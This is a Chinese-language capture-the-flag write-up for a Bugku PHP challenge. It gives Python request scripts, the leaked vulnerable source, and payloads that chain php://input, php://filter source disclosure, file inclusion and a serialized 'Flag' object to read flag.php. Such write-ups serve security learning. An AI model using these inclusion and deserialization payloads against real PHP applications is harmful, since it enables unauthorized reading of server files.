Bugku welcome to bugkuctf 引发的思考
无意中先刷一波bugku 的题目,赶紧还挺有意思的。
当碰到 一道php 反序列化的题目。看的一脸懵逼。可以读取到文件,但是无法理解拿flag 的操作。
后面大佬提点终于明白了,也引发了一些思考
先把题目写完把。
题目地址:http://120.24.86.145:8006/test1/
泄露了源代码
传递了三个值一个是txt file password
首先根据提示读取 hint.php
import requests,base64,re url='http://120.24.86.145:8006/test1/index.php?txt=php://filter&file=hint.php&password=' data='welcome to the bugkuctf' resion=requests.post(url,data).text print(resion)
发现啥也没用读取到=。= 我就换成了php://input
这次的提示换了。应该是禁用了php://filter 这种方法
想到了上一题目的用法 http://120.24.86.145:8005/post/index.php
在file 里面用的http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
这种方式
import requests,base64,re url='http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=' data='welcome to the bugkuctf' resion=requests.post(url,data).text falg=resion[resion.index('>')+1:] txt=base64.b64decode(falg) print(txt)
成功读取到了hint.php
<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("good"); } } } ?>
再读取一下index.php 得到源码
<?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ echo "you are not the number of bugku ! "; } ?> <!-- $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>"; include($file); //hint.php }else{ echo "you are not admin ! "; } -->
然后陷入一脸懵逼的状态,看了一下大佬的博客,当时实在搞不通里面的原理
都是说$password 那个方式,然后就翻看一下文档
百度了一下用法 写了一个简单的例子
看到大佬写了一个php
https://blog.csdn.net/wy_97/article/details/77771026
执行得到O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
将其作为 $passwod 传递进去
import requests,base64,re url='http://120.24.86.145:8006/test1/index.php?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}' data='welcome to the bugkuctf' resion=requests.post(url,data).text print(resion)
参考博客:https://blog.csdn.net/wy_97/article/details/77771026
参考2 https://blog.csdn.net/wy_97/article/details/77431111